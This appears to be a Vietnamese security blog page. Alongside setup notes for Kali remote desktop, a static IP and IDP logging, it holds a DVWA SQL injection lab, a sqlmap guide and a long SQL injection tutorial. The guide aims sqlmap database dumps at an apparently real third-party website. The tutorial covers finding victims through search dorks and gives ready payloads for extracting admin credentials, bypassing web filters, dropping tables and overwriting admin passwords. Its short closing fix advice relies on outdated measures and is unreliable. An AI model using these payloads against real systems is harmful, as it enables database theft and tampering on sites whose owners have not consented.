Pages

How to remote desktop kali linux on window


Fist:
apt-get update && apt-get upgrade
apt-get dist-upgrade
apt-get install xrdp vnc4server tightvncserver
service xrdp start
Service xrdp-sesman start
update-rc.d xrdp enable
On Window: mstsc   -> chọn
Nếu bị lỗi:
apt-get remove gnome-core
apt-get install lxde-core lxde kali-defaults kali-root-login desktop-base
update-alternatives –-config x-session-manager
 chon 4:  /usr/bin/startlxde
thudinh Network and Security

Setting a Static IP Address in Metasploitable


This should also work for command line IP address changes to Linux:
edit the file /etc/network/interfaces
sudo /etc/network/interfaces
Change:
auto eth0
iface eth0 inet dhcp
To:
auto eth0
iface eth0 inet static
address 172.16.40.10
netmask 255.255.0.0
network 172.16.0.0
broadcast 172.16.255.255
gateway 172.16.2.47
dns-nameservers 172.16.2.4 172.16.2.15
Restart neworking
sudo /etc/init.d/networking restart
thudinh Network and Security

IDP logs


LOGGING IDP

Lets try and find a list of possible Syslog messages relating to IDP…
blogger@LEFTY> help syslog | match IDP
CHASSISD_CB_READ                 chassisd could not read midplane EEPROM
CHASSISD_I2C_MIDPLANE_CORRUPT    Midplane I2C ID EEPROM was corrupted
IDP_APPDDOS_APP_ATTACK_EVENT     IDP: DDOS attack on application
IDP_APPDDOS_APP_ATTACK_EVENT_LS  IDP: DDOS attack on application
IDP_APPDDOS_APP_STATE_EVENT      IDP: DDOS application state transition event
IDP_APPDDOS_APP_STATE_EVENT_LS   IDP: DDOS application state transition event
IDP_ATTACK_LOG_EVENT             IDP attack log
IDP_ATTACK_LOG_EVENT_LS          IDP attack log
IDP_COMMIT_COMPLETED             IDP policy commit completed
IDP_COMMIT_FAILED                IDP commit exited with failure
IDP_DAEMON_INIT_FAILED           Failed to initialize IDP daemon
IDP_IGNORED_IPV6_ADDRESSES       IDP ingnores IPv6 addresses
IDP_INTERNAL_ERROR               IDP daemon encountered an internal error.
IDP_POLICY_COMPILATION_FAILED    IDP policy compilation failed
IDP_POLICY_LOAD_FAILED           Failed to load an IDP policy
IDP_POLICY_LOAD_SUCCEEDED        IDP policy loaded successfully
IDP_POLICY_UNLOAD_FAILED         Failed to unload an IDP policy
IDP_POLICY_UNLOAD_SUCCEEDED      IDP policy unloaded successfully
IDP_SCHEDULEDUPDATE_START_FAILED Failed to start scheduled update
IDP_SCHEDULED_UPDATE_STARTED     Scheduled update has started
IDP_SECURITY_INSTALL_RESULT      IDP security package install result
IDP_SESSION_LOG_EVENT            IDP session event log
IDP_SESSION_LOG_EVENT_LS         IDP session event log
IDP_SIGNATURE_LICENSE_EXPIRED    IDP signature update license key has expired

From the descriptions looks like we will want to log to match the string “IDP_ATTACK_LOG_EVENT”

I want to send the IDP attack logs to a remote syslog (Splunk  in this case – free for 500MB of logging data a day!)

Here is the config under system/syslog for that…

host 192.168.56.50 {
    any any;
    match IDP_ATTACK_LOG_EVENT;
    source-address 10.10.10.5;
}
thudinh Network and Security

DVWA SQL Injection (low level)


Bài này sẽ sử dụng 2 cách để khai thác:
 1. dùng tool sqlmap (nếu chưa biết, các bạn xem tại đây: huong-dan-su-dung-sqlmap-trong-kali.html)
 2. sử dụng phương pháp thủ công (có thể xem ví dụ khác tại: đây)



Phần 1: Dùng tool sqlmap

Lấy các thông tin: url, Cookie sử dụng wireshark


Bước 1: Trước tiên, chúng ta đi tìm Database cần khai thác.
-u : URL  của website  mục tiêu
--dbs : liệt kê danh sách các database

Đây là command:
 sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'"--cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" --dbs


Bước 2: Tiếp đến, chúng ta lựa chọn database với -D , và liệt kê bảng trong database với --tables

sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa --tables


Bước 3: chúng ta chọn bảng với -T và liệt kê cột với --columns

sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa -T users --columns


Bước cuối cùng: sử dụng tham số -C để chọn cột user và password; và sử dụng --dump để đọc dữ liệu của cột ==> Việc còn lại là ngồi uống cafe  và lấy thông tin.

sqlmap -u "http://dvwa_lab.com/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit'" --cookie="security=low; PHPSESSID=7btqaq7r7ur0dcmga1nfp4o5v7" -D dvwa -T users -C user,password --dump


kết quả tìm được: user/pass là admin/password

Phần 2: làm thủ công

Chúng ta thử đánh 1 số vào text box.
Như bạn thấy, 1 số thông tin được xuất ra màn hình. Theo cơ chế này thì kết quả được lấy ra từ database từ giá trị được nhập vào textbox và xuất ra màn hình. Câu truy vấn sql sẽ như sau:
           SELECT first_name, last_name FROM users WHERE user_id = '$ id'; 

Bây giờ thay vì nhập 1 thì nhập 1' . Tương ứng với truy vấn sql

SELECT first_name, last_name FROM users WHERE user_id = ' 1 ' ; 

SELECT first_name, last_name FROM users WHERE user_id = ' 1 ' ; 

Lúc này trang web sẽ xảy ra lỗi.

Bây giờ, chúng ta nhập vào textbox nội dung sau: 99 'or' 1 '=' 1 '#
lệnh sql sẽ là:
SELECT first_name, last_name FROM users WHERE user_id = ' 99 'or' 1 '=' 1 '# ' ; 

- số 99 ở trên không quan tâm, chúng ta có thể nhập bất cứ số nào.
- '1' = '1' thì có ý nghĩa (chưa rõ thì xem lại các bài sql injection trước đây) đây là phép toán luôn đúng. Nên nó sẽ thực thi truy vấn nay.
[hình]

Tìm số cột của database bằng ORDER BY

SQL query : select ... WHERE ... ORDER BY..
nếu có báo lỗi :  Unknow column 'xx' in 'order clause' thì số cột sẽ là xx-1
Bây giờ, chúng ta thử lần lượt từ 1. Nhập vào textbox như sau:
99 'or' 1 '=' 1' order by 1#   ==> không lỗi
99 'or' 1 '=' 1' order by 2#   ==> không lỗi
99 'or' 1 '=' 1' order by 3#   ==> xảy ra lỗi
==> vậy có 2 cột trong database hiện tại đang sử dụng.

Sử dụng UNION để khai thác thêm

Nhập vào textbox: 99 'or' 1 '=' 1 'UNION Select 1,2 # 
==> tất cả các hàng sẽ được xuất ra màn hình.

Bây giờ tìm version() của database
     99 'or' 1 '=' 1 'UNION Select 1,version() # 

Tìm user : 99 'or' 1 '=' 1 'UNION Select 1,user() # 

Tìm database: 99 'or' 1 '=' 1 'UNION Select 1,database() # 
Tìm thư mục cài đặt database : 99 'or' 1 '=' 1 'UNION Select 1,@@datadir() # 

còn tiếp...
thudinh Network and Security

Hướng dẫn sử dụng sqlmap trong kali linux



Đầu tiên các bạn quét website xem có lỗi hay không. Với mình thì công cụ acunetix là công cụ quét lỗi bảo mật trang web tốt nhất hiện nay. Nếu có lỗi sql injection thì xác định lỗi ở thông số nào và có thể kiểm tra bằng cách vào trình duyệt gõ thêm ' vào cuối. Nếu trang web đó không hiện được hình ảnh thì bị lỗi sql injection và chúng ta có thể khai thác bằng công cụ sqlmap trong kali linux.

 Ví dụ:
        Url bình thường: http://dacphuc.vn/?php=product_detail&id=227
        Các bạn có thể kiểm tra bằng cách thêm dấu ' vào cuối:
                   http://dacphuc.vn/?php=product_detail&id=227'

Các bạn mở terminal và gõ lệnh:
         sqlmap -h 
để xem các tùy chọn của sqlmap

+ Bước 1: Xuất ra tên của cơ sở dữ liệu:
         sqlmap -u urltarget --dbs
     Ở đây tùy chọn -u là url của mục tiêu.
     --dbs là xuất ra tên cơ sở dữ liệu.
     Ví dụ: sqlmap -u http://dacphuc.vn/?php=product_detail&id=227 --dbs
+ Bước 2: Khi đã có tên cơ sở dữ liệu, chúng ta có thể xem tên các bảng có trong cơ sở dữ liệu đó bằng lệnh như sau:
          sqlmap -u urltarget -D databasename --tables
        -D: là tên của database
        --tables: để đưa ra tên của các bảng có trong cơ sở dữ liệu
    Ví dụ: sqlmap -u http://dacphuc.vn/?php=product_detail&id=227 -D databasename --tables
+ Bước 3: Xem nội dung của các bảng trong cơ sở dữ liệu:
           sqlmap -u urltarget -D databasename -T tablename --dump
           -T: Đưa ra các bảng cần xem thông tin 
           --dump: dump ra để xem cơ sở dữ liệu của bảng đó.
 Ngoài ra các bạn có thể thêm một số tùy chọn như sau:
    -C: Danh sách các trường cần xem.
    --table: cấu trúc của bảng về kiểu dữ liệu.
Như vậy các bạn đã có thể xem được cơ sở dữ liệu trong trang web bị lỗi sql injection. Những thông tin mà chúng ta thường khai thác như bảng liên quan đến user, admin, member. Những bảng này có thông tin về tài khoản và mật khẩu. Sẽ rất nguy hiểm nếu lưu không được mã hóa và bị hacker chiếm được những thông tin này.
thudinh Network and Security

SQL Injection Tutorials


Bài 1:
Khái niệm và kiến thức cần biết:
1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,…
2.Kiến thức cần biết:
dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
– dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
– dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!
Các bước thực hiện:
Bình thường để hack 1 site lỗi SQL injection bao gồm các bước :
B 1 : Check
B 2 : Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy )
B3 : Union Select
a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,…
b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.
c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:
· -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn (‘), dấu nháy kép (“), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này – Sẽ trình bày rõ ở phần sau).
-Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.
Ví Dụ:
http://ww.site.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)
cú pháp
http://ww.site.com/index.php?id=1 and 1=1 không lỗi
share 1 số kinh nghiệm cho ae:
1. Nếu bạn check lỗi SQL Inj ở 1 website mà bạn không thấy lỗi hiện ra thì đừng nên bỏ qua chúng vì nó có thể bị admin làm cho ẩn đi.
2. Nếu không ra số đẹp khi Union thì hãy view Scoure nó lên và tìm, có thể nó ở trong đó.
3. Thay vì thêm ‘ vào sau id để kiểm tra thì các bạn có thể sử dụng kĩ thuật
sử dụng các phép toán: VD: and 1=1 hiện ra site , and 1=0 hiện ra site báo lỗi =>> Site đã bị dính sql inj
sử dụng các phép toán kiểu true fales: VD: 2>3 ; 2<3
1–1
BETWEEN 1 AND 3
‘b’ BETWEEN ‘a’ AND ‘c’
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
‘ uuu’ = ‘uuu’
ISNULL(NULL)
ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL
Nếu tham số (id) của trang hiện tại là 3, tham số trang sau là 2, nếu ta dùng 3-1 , kết quả trả về là nội dung của trang có id=2 thì 99% là site này dính lỗi SQLi.
Bài 2:
Order By:
Order by được sử dụng để làm gì :
-Làm tiết kiệm thời gian attack.
-Nó được sử dụng để tính số field ,column có trong CSDL SQL.
Cú pháp: order by xx (với xx là số nguyên, để hiệu quả nên order by 100 đầu tiên để xác định ta đi đúng hướng)
VD: http://ww.site.com/index.php?id=1 order by 100
Lỗi nhận biết
Error: Unknown column ‘100’ in ‘order clause’
————–
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
site có hiện tượng khác lạ (dựa vào kinh nghiệm)
Nhưng cũng có site lại phải thêm dấu nháy và dấu — hoặc — – hoặc — a hoặc /* mới order by được
— : Hiểu đơn giản là tránh bị ghi log
– : Biến đoạn đằng sau dấu – thành chú thích.
Sau đây là các trường hợp thường dùng để Order by :
TH cú pháp Ví dụ
TH1: order by http://ww.site.com/index.php?id=1 order by 100
TH2: ‘ order by http://ww.site.com/index.php?id=1 ‘ order by 100
TH3: ‘order by http://ww.site.com/index.php?id=1 ‘order by 100
TH4: chuyển sang union select http://ww.site.com/index.php?id=1 union select 1
Ví Dụ:
http://ww.site.com/index.php?id=1 order by 1– không lỗi
http://ww.site.com/index.php?id=1 order by 2– không lỗi
http://ww.site.com/index.php?id=1 order by 3– không lỗi
http://ww.site.com/index.php?id=1 order by 4– lỗi
vậy ta thấy site có 3 cột lỗi (vì order by 4 cột –> hiện lỗi)
Bài 3:
Khai thác:
Sau khi xác định site sqli + check sqli +hệ quản trị SCDL là gì (phổ biến MsAccess,MSSQL,MySQL, Oracle), thì chúng ta bắt tay vào công việc khai thác chúng. (Mỗi hệ quản trị CSDL khác nhau thì có cách khai thác gần như là khác nhau).Các bạn phải lắm rõ vần đề tưrên để sau này dễ dàng cho việc khai thác lỗi. Cách khai thác lỗi của từng ứng dụng sử dụng CSDL trên sẽ đợc trình bày ở dưới: (tuy nhên theo kinh các newbie cố găng tập trung MýQJ vì nó là phổ biến)

Đối với CSDL MyQSL:
Lỗi trả về thường xuất hiện các dấu hiệu sau:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1
Riêng bọn này các bạn cần chú ý việc đầu tiên ta khai tác là kiếm version (phiên bản) của nó hiện tại.
Kĩ thuật khai thác bọn này được thực hiền lần lượt như sau:
Đầu tiên ta tiến hành xác định số cột trong table hiện tại bằng cách sử dụng Order by n (VD: 6)
Tiếp theo ta sử dụng UNION SELECT [ số cột tìm được , được phân cách bằng dấu phẩy]–
http://demo.com.vn/index.php?id=-1 Union Select 1,2,3,4,5,6– nó sẽ hiện ra những con số
nếu không hiện số:
+viewsource
+Xem file ảnh bị lỗi để thấy số
+Thay số bằng null (vd id=-188 thì thay id=null UNION….)
+Thay các column(field) bằng null (vd :UNION SELECT null,null,….)
+Bypass filter (mod_security)( TH này mình sẽ đi sâu phần sau)
+TH hiện ra thông báo thế này: The used SELECT statements have a different number of columns
Union select như sau: id=1+and+1=0+UNION SELECT+1,2…
Hoặc dùng error base:
And (Select 1 From(Select Count( * ),Concat(CHAR (124),(Select concat_ws(0x7c,version(),database(),user())),floor (rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)– –
and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
or 1 group by concat_ws(0x7c,version(),database(),current_user,f loor(rand(0)*2)) having min(0) or 1–
Hoặc dùng blind: and substring(version(),1,1)=5
Tuỳ thời cơ mà biến hoá chúng
Tỉ dụ nó hiện ra số 3.
Công việc tiếp theo của ta là xác định version (Công việc quan trọng nhất)
http://demo.com.vn/index.php?id=-1 Union Select 1,2,version(),4,5,6–
Nếu kết quả trả về :
>>>>Phiên bản lớn hơn hoặc bằng 4 và nhỏ hơn 5: Khai thác như lỗi của CSDL MsAccess (Hack Đoán)
>>>>Phiên bản lớn hơn 5 thì sử dụng cách dưới đây.
Oke, ta đã xác định được phiên bản là lớn hơn 5. ta tiến hành truy vấn.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables–
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(table_name) USING latin1),4,5,6 From Information_schema.tables–
hoặc
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(table_name))),4,5,6 From Information_schema.tables–
Tuỳ thời cơ mà biến hoá chúng.
nó sẽ trả về giá trị đầu tiên là: CHARACTER_SETS, để gộp tất cả các table lại cho dễ tìm kiếm thì các bạn dùng hàm Group_concat() Hoặc limit.
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(table_name),4,5,6 From Information_schema.tables–
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit 17,1–
http://demo.com.vn/index.php?id=-1 Union Select 1,2,table_name,4,5,6 From Information_schema.tables limit n,1–
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,admins
vì đó chỉ là những table của hệ thống thôi, quan trọng là xác định được table chứa admin trong mớ hỗn độn phía trên. VD ta tìm được table chưa thông tin của admin là admins.
Ta tiến hành chuyển chuỗi ‘admin’ sang dạng hex đẻ dễ khai thác vd chuyển sang là ?
thì ta tiến hành tìm các column trong table admins đó bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns where table_name=(0x?)–
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(column_name) USING latin1),4,5,6 From Information_schema.columns where table_name=(0x?)–
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(columns_name))),4,5,6 From Information_schema.Columns where table_name=(0x?)–
sau công viẹc này ta đã xác định được 2 cloumn quan trọng nhất , VD là username và password.
Ta tiến hành lấy thông tin. Bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,concat(username,0x2f,password)4,5,6 From admins–
0x2f: là dạng hex của kí tự /
Đối với CSDL MSACCESS:
là loại khó phá nhất trong các site dính SQLInj , lý do không phải do nó bảo mật, mà là do mặc định nó truy cập file mdb không bằng quyền admin, do đó table msysobjects chứa các table của nó ta không thể đụng được. Đụng vào CSDL này là phải blind hack (Hack đoán).
lỗi trả về của loại này thường xuất hiện các dấu hiệu sau: Jet database, ODBC Microsoft Access Driver. Khai thác loai này như sau:
Đầu tiên ta sử dụng lệnh UNION SELECT 1 FROM [Table_name]
[Table_name]: Là tên table bạn đoán nó sẽ chứa thông tin về Username và pasword của Victim. VD: Admin, Admins, Account, Thanhvien, Quantri, User, Users,…
VD: Bạn khai thác: http://demo.com.vn/news.asp?id=72 Union select 1 from admin
lỗi trả về là:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e37’
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query ‘admin’. Make sure it exists and that its name is spelled correctly. (Dịch nôm na là không tồn tại table ‘admin’ trong CSDL)
đừng nản trí, hãy đoán tiếp http://demo.com.vn/news.asp?id=72 Union select 1 from admins
Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.
/news.asp, line 16 (Dịch nôm na là: Số cột không cần bằng khi sử dụng truy vấn với Union)
Đến đây chúng ta đã biết table chứa thông tin về victim là ‘admíns’ đến lúc này bạn chỉ việc ngồi đếm số cột trong table đó bằng cách Union select 1,2,3,..,n from admins các bạn cứ đếm sao cho nó không báo lỗi nữa mà trên trang đó hiện ra những con số. Đến lúc này bạn lại phải đoán column chứa username và password rồi thay thế chúng vào những con số hiện ra đó sao cho không hiện ra lỗi tức là bạn đã đoán đúng.
VD: Bạn đếm được đến số 5 thì kô còn lỗi, Con số hiện ra đó là 2,3 và column chứa tên đăng nhập của admin là username, column chứa mật khẩu của admin là password thì bạn sẽ khai thác http://demo.com.vn/news.asp?id=72 Union select 1,username,password,4,5 from admins
Đối với CSDL MSSQL:
Lỗi trả về của bọn này thường xúât hiện các dấu hiệu sau:
Microsoft OLE DB Provider for ODBC Drivers ,ODBC SQL Server Driver, Gọi tắt là (lỗi OLE DB)
Cách khai thác bọn này sử dụng kĩ thuật “Magic convert”. Kĩ thuật này được sử dụng như sau:
and 1=convert(int,(select top 1 table_name from information_schema.tables))–sp_password
Hoặc
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(”)))–sp_password
Trong bảng Information_schema.tables có chứa tất cả các table trong CSDL (Đây là gót chân Asin của bọn này )
-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘table1′,’table2′,..,’table n’)))–sp_password
cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..
Bước 2: Get column
Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’table1′))–sp_password
vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:
and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’table1′ and column_name not in(‘username’)))–sp_password
Nếu tìm được username/password trong table1 thì ta check pass của nó
Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password
and 1=convert(int,(select top 1 username%2b’/’%2bpassword from table1))–sp_password
Bài 4:
Blind SQL:
Phát hiện lỗi “blind sql injection”:
– Đối với MY SQL vesion 4 trở xuống.
– để xác định xem nó có bị dinh lỗi blind sql injection ko ta hãy thử thêm vào 1 điều kiện đúng .Ví dụ như:
http://www.company.com/pressRelease.jsp?pressID=5 AND 1=1
nếu ta vẫn được trả về vị trí của http://www.company.com/pressRelease.jsp?pressID=5 thì có nghĩa là nó đã dính lỗi
Khai thác:
Ta tiến hành kiếm version bằng cách sử dụng hàm cắt chuỗi Substring() VD: Substring(‘mmdVBF’,5,3) kết quả sẽ là neo
http://www.site.com/news.php?id=5 and substring(version(),1,1)=4
Trang sẽ hiện thị bình thường nếu kết quả truy vấn trên đúng , nếu vậy phiên bản của Mysql này là 4.xxx.x còn nếu không chúng ta thay 4 thành 5 để kiểm tra tiếp
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
http://www.site.com/news.php?id=5 and (select 1)=1
nếu site tải thông thường thì subselects làm việc.
sau đó chúng ta sẽ xem liệu chúng ta có thể truy cập mysql.user
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
nếu tải trang thông thường chúng ta có thể truy cập để mysql.user và sau đó, chúng ta có thể kéo một số password usign load_file() function and OUTFILE.
kiểm tra table và column:
Đây là một phần khi đoán:
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
(sử dụng limit 0,1 truy vấn ở đây của chúng ta trả về 1 hàng của dữ liệu, gây ra subselect trả về chỉ 1 hàng, điều này là rất quan trọng.)
sau đó nếu trang tải bình thường mà không có nội dung thiếu, thì table users exits.
nếu bạn get FALSE (một số điều còn thiếu), hãy thay đổi table_name cho đén khi đoán đúng
bây giờ chúng ta có table name là users, nbaay giờ chúng ta cần column name.
giống như tên bảng, chúng ta bắt đầu đoán. Giống như tôi đã nói trước khi thử các tên gọi thông thường cho các cột.
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nếu trang tải bình thường, chúng ta biết rằng tên cột là password (nếu chúng ta sai thì thử tên gọi thông thường hoặc chỉ đoán)
ở đây chúng ta hợp nhất 1 cột password, sau đó trả về chuỗi ký tự đầu tiên (1,1)
lấy dữ liệu từ cơ sở dữ liệu
chúng tôi tìm thấy người sử dụng bảng, cột: username, password . vì vậy chúng ta sẽ get các characters từ đó.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
ok này ở đây get ký tự đầu tiên: user ,trong table users.
that
substring ở đây trả về character đầu tiên và 1 character trong length. ascii() converts mà 1 character vào giá trị ascii .
và sau đó so sánh nó với simbol lớn hơn sau đó>.
vì vậy nếu char ascii lớn hơn 80 sau đó, tải trang web bình thường. (TRUE)
chúng ta tiếp tục cố gắng cho đến khi chúng ta nhận được sai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
chúng ta nhận được TRUE, giữ incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
TRUE một lần nữa, cao hơn:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!!
do đó, ký tự đầu tiên trong tên username là char (99). Sử dụng bộ chuyển đổi ascii, chúng ta biết rằng char (99) là chữ ‘c’.
sau đó cho phép kiểm tra các character thứ hai.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
Lưu ý rằng tôi thay đổi, 1,1, 2,1 để có được những characte thứ hai. (bây giờ nó trả về characte thứ hai, 1 characte lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
TRUE, trang tải bình thường, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
FALSE, thấp hơn số lượng.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
TRUE, cao hơn.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
FALSE!!!
Bài 5:
Filter + Tổng kết:
– Khi query 1 số site chặn các hàm union,select,convert…thì khi query nó trả về trang trắng, lúc này ta thay đổi 1 số chữ Hoa, thường xen kẽ nhau: UniON, SeLECt… hoặc conveter sang ascii
– Khi query cũng có 1 số site trả về trang trắng, thì ta nhìn kỹ trên site nha,kể cả title site.Nếu ko thấy ae view source sẽ thấy
– 1 số query table_name không hiện ra , ta unhex(hex(group_concat(table_name))
– Khi query nó trả về thế này
Forbidden
You don’t have permission to access /news.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
Hoặc
Not Acceptable
An appropriate representation of the requested resource / could not be found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request
Thì ta dùng /*! */ (VD: /*!union*/ hoặc /*!select*/ hoặc information_schema./*!tables*/..vv)
-Nếu query nó ra thế này:
406 Not Acceptable
This request is not acceptable Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!
Thì các bạn cần tư duy chút. VD: các bạn có thể thay space = %0A (kí tự xuống dòng) ..vv
1 Số truy vấn khác
Tạo 1 table_name:
;drop table kingnuscreate table thanggiangho (id int identity,kingnusvarchar(99999)) insert into kingnusselect table_name from information_schema.tables–sp_password
Thay đổi pass admin: lấy vd trên nếu như username :kingnus/pass:ceh
;UPDATE table1 SET password = ‘ceh’ WHERE username=’kingnus’–
Chèn 1 record mới vào table
;INSERT INTO ‘table1’ (‘ID’, ‘username’, ‘password’, ‘details’) VALUES (99,’kingnus’,’ceh’,’Online’)–
Tìm tất cả các table có liên quan như: admin,user,member,account,login…
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name like ‘%admin%’ or table_name like ‘%Member%’ or table_name like ‘%User%’ or table_name like ‘%account%’ or table_name like ‘%login%’))–sp_password
and 1 = convert(int,(select top 1 table_name from information_schema.tables where table_name not in (”) and (table_name like ‘%25admin%25’ or table_name like ‘%25Member%25’ or table_name like ‘%25User%25’ or table_name like ‘%25account%25’ or table_name like ‘%25login%25’)))–sp_password
Lấy tất cả các table_name:
; begin declare @temp varchar(8000) set @temp=’:’ select @temp=@temp%2btable_name%2b’/’ from information_schema.tables select @temp as id into kingnusend–
or 1=(select id from kingnus)–
; drop table kingnus–
Lấy tất cả các column_name từ 1 table_name: vd table_name : tbadmin
; begin declare @temp varchar(8000) set @temp=’:’ select @temp=@temp%2bcolumn_name%2b’/’ from information_schema.columns where table_name=’tbadmin’ select @temp as id into kingnus end–
or 1=(select id from kingnus)–
I. Cách vá lỗi:
1. Mởi php.ini và set magic_quotes_gcp thành On
Nó sẽ chèn “\” trước (‘) có trong:
-COOKIE
-POST
-GET
2. Sử dụng hàm addslashes() để “gói” chuỗi bằng dấu “/”
3. Sử dụng hàm htmlspecialchars(), mysql_escape_string() … để mã hoá kí tự đặc biệt trong câu truy vấn
4. Ép kiểu:
– Ta biết id của một đối tượng (user, category, box, product …) luôn là kiểu số nguyên, vì vậy ta dùng:
Quote:
$id = (int)$_POST[‘id’];
